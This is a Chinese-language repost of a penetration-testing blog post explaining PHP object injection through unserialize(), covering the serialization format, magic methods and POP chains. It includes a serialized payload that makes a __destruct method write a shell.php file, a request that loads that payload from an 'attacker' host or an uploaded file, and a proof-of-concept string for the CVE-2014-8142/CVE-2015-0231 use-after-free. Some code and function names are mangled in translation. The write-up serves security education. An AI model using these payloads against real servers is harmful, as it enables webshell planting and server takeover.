1. 程式人生 > >5. 通過PHP反序列化進行遠程代碼執行

5. 通過PHP反序列化進行遠程代碼執行

ror 資料 sset 相同 var long abstract 應該 打破

通過PHP反序列化進行遠程代碼執行

0×00 前言

在NotSoSecure,我們每日都會進行滲透測試或代碼審查,不過最近我們遇到了一段有趣的PHP代碼,它可能會導致遠程代碼執行(RCE)漏洞,但對它進行利用卻有點棘手。

在經歷了幾個試圖破解這段代碼的不眠之夜後,我們確信利用這個漏洞可以同時進行應用級和系統級別的代碼執行。這篇來自Rahul Sasi的博文將講解關於該漏洞的一些信息,以及如何對其進行利用。

0×01 包含漏洞的代碼

技術分享圖片

在上面的代碼中,用戶控制的值可能會被傳遞給PHP的反序列化函數。在用戶提供的輸入未進行適當處理就傳遞給函數unserialize()時,此時就有可能導致該漏洞的發生。由於PHP中允許對象序列化,所以攻擊者可以通過將特殊的序列化字符串傳遞到一個脆弱的unserialization()調用中,以此導致一個任意的PHP對象註入到應用程序範圍中。在我們的代碼中,應用程序接收一個文件名,接著使用PHP中的file_get_contents函數讀取內容。然後,將輸出內容輸入到PHP的反序列化模塊。之前已經提到,上面的漏洞可以同時進行應用級和系統級別的代碼執行,所以接下來我們將深入分析該漏洞。

技術分享圖片

為了成功地利用上述漏洞,必須滿足三個條件:

1、應用程序中必須含有一個實現某個PHP魔幻方法(例如__wakeup或者__destruct)的類,可以用這個類進行惡意攻擊,或者開始一個“POP鏈”。

2、當調用脆弱的unserialize()時,必須聲明攻擊期間所使用的所有類,否則必須為這些類支持對象自動加載。

3、傳遞給反序列化操作的數據必須來自於一個文件,所以服務器上必須包含有一個包含序列化數據的文件。

參考: https://www.owasp.org/index.php/PHP_Object_Injection

在上面的場景中,條件1和條件2是為了滿足於漏洞利用。但是,因為反序列化操作的輸入值來自於PHP中file_get_contents讀取的一個文件,所以對該漏洞的利用有些棘手。

如果開啟了allow_url_fopen(最新的PHP版本默認禁用),那麽PHP函數file_get_contents可以接收遠程URL作為其參數。在這種情況下,攻擊者可以向該函數中輸入一個包含一個惡意文件的URL,該文件中包含了序列化的植入於一個遠程服務器上的惡意數據。

http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt

0×02 exp.txt內容

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22
;}

但不幸的是,我們測試的應用程序中並沒有開啟allow_url_fopen。註意:包含一個/proc/self/environ這樣的文件或者任何類似的內容(例如訪問日誌)都不可能,因為序列化字符串不應該包含垃圾數據。所以,我們的文件應該只包含用於漏洞利用的序列化數據。

在講解如何利用上面的代碼之前,我們先解釋一些有關PHP對象註入利用的知識,並分析上面的載荷(payload)到底做了什麽。

0×03 PHP對象註入

基於PHP反序列化的安全問題首先在2009年由Stefan Esser記錄。目前,基於JSON的應用序列化模塊使用量明顯增多,所以讓我們深入了解一下序列化模塊。

0×04 PHP序列化

為了在一個數組中保存內容,PHP中會調用一個函數serialize(),它接收一個給定的數組作為輸入參數,並能夠將數組的內容轉換成正常的字符串,然後你就可以將字符串內容保存在一個文件中,也可以作為URL的一個輸入值,等等。

技術分享圖片

參考: http://www.hackingwithphp.com/5/11/0/saving-arrays

接下來,下圖中序列化一個包含3個字符的字符串數組。

技術分享圖片

理解序列化的字符串:

技術分享圖片

a:3{               Array of 3 values
   
i:0                Integer, value [ index-0]
   
S:5:”Lorem”      String, 5 chars long, string value “Lorem”
   
i:1                Integer, value [index-1]
   
S:5:”Ipsum”      String , 5 chars long, string value “Ipsum”
   
i:2                Integer, value [index-2]
   
S:5:”Dolor”      String , 5 chars long, string value “Dolor”

0×05 PHP反序列化

unserialization()是serialize()的相反操作函數。它需要一個序列化的字符串作為其輸入,並將其轉換回一個數組對象。另外,考慮到對象實例化和自動加載,反序列化可能會導致代碼被加載並被執行。

例子:

value=‘a:1:{s:4:"Test";s:17:"Unserializationhere!";}’
unserialization($value);

0×06 PHP自動載入

在PHP中,我們可以定義一些特殊函數,它們可以被自動地調用,所以這些函數不需要函數調用來執行它們裏面的代碼。考慮到這個特性,這些函數通常被稱為魔幻函數或魔幻方法。PHP魔幻方法名稱受限於PHP所支持的部分關鍵字,例如construct、destruct等等。

此外,最常用的魔幻函數是__construct(),因為PHP版本5中,__construct方法實際上是你所定義的類的構造函數。對於一個給定的類,如果PHP 5找不到__construct()函數,那麽它將搜索一個與類名字相同的函數,這是PHP中編寫構造器的老方法,這種方法中你只需要定義一個名字與類名相同的函數。

下面是PHP中的一些魔幻函數:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().

下面是PHP中的一些魔幻方法:

Exception::__toString
ErrorException::__toString
DateTime::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString

參考:http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/

0×07 對象實例化

實例化是指:當通過在內存中創建類的一個實例時,一個類的具體化就變成了一個對象。所以,當你真正調用new class()時,class()就成為了一個實例化的對象。當你反序列化一個字符串時,而這正是PHP所做的(對象實例化),就會將一個字符串的數組轉換成對象。反序列化對象允許控制所有屬性:public、protected和private。然而,反序列化對象通過__wakeup()蘇醒,後來通過__destruct()被銷毀,因此這些(wakeup、destruct)魔幻函數中已經存在的代碼將會得到執行。

參考:http://www.nds.rub.de/media/nds/attachments/files/2011/02/RUB2011-SecurityProblemsInWebApplicationsExceptInjectionVulnerabilities.pdf

所以,我們需要找到_destruct或_wakeup內定義的現有可用的代碼,然後劫持應用程序的流程。

在我們脆弱的程序中,__destruct函數中包含一個函數file_put_contents:

技術分享圖片

所以我們的有效載荷(payload)看起來是這樣的:

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

 
O:3{:                            [ Object, takes 3 parameter with name foo]
   
”foo”: 2:{                     [Parameter foo takes 2 values]
   
S:4:”file”;s:9:”shell.php”;  [String, 4 chars long, value “file”, string 9 chars long, value
                                  shell.php]
   
s:4:”data”;s:5:”aaaa”;}      String, 4 chars long, string 5 chars long, value”aaaa”

所以當我們上面輸入的是反序列化的字符串時,它允許控制類“foo”的屬性。因此,魔幻方法“__destruct”中存在的代碼將會以我們控制的值來執行,在我們的例子中為file_put_contents,創建一個文件“shell.php”。

0×08 漏洞利用

在我們的例子中,因為輸入到unserialization()函數的是內容是從file_get_contents中讀取的文件。

$file_name = $_GET[session_filename];
unserialization(file_get_contents($file ));

所以,我們嘗試的其中一件事就是,找到一個方法來將exp.txt存放在服務器上。為此,我們必須找到一個文件/圖片上傳功能,然後以序列化的有效載荷上傳該文件。然後,我們要做的就是以下面的方式觸發。

http://vul-server/unsearilize.php?session_filename=images/exp.txt

使用CVE-2014-8142和CVE-2015-0231可以進行系統級遠程代碼執行:

“Use-after-free漏洞存在於ext/standard/var_Unserializationr.re中的函數process_nested_data內,該漏洞存在於PHP 5.4.36的之前版本、
5.5.20之前的5.5.x版本以及5.6.4之前的5.6 x版本中,它允許遠程攻擊者通過一個精心編制的反序列化調用執行任意代碼,因為在一個對象的序列化屬性中,
這個調用影響到了對重復鍵的不適當處理。”

https://bugs.php.net/bug.php?id=68710

上面的漏洞影響核心PHP unsearilize函數,這個POC由Stefan Esser發布,我們曾試圖優化並利用該漏洞使代碼執行成為可能,因為如果成功地進行了利用,那麽將可以做到系統級的遠程代碼執行。

0×09 PHP+Apache安全架構

技術分享圖片

這些圖已經足以詳細解釋PHP架構。

1)如果我們可以在PHP中的上下文執行代碼,那麽我們將可以打破許多限制。

2)應該能夠通過shell訪問加固的PHP主機。

我的工作仍然集中於這方面,並且我發現“Tim Michaud”在相同的網站上也能工作。我們將很快更新這篇博文。

http://[IP]/unsearilize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}‘;

技術分享圖片

技術分享圖片

技術分享圖片

0x0A 參考資料

1、http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

2、https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes

3、http://php-autoloader.malkusch.de/en

4、https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection

5、http://security.stackexchange.com/questions/77549/is-php-Unserialization-exploitable-without-any-interesting-

6、http://xahlee.info/php-doc/

7、http://phppot.com/php/php-magic-methods

8、http://php.net/manual/en/

9、http://stackoverflow.com/questions/11630341/real-time-use-of-php-magic-methods-sleep-and-wakeup

5. 通過PHP反序列化進行遠程代碼執行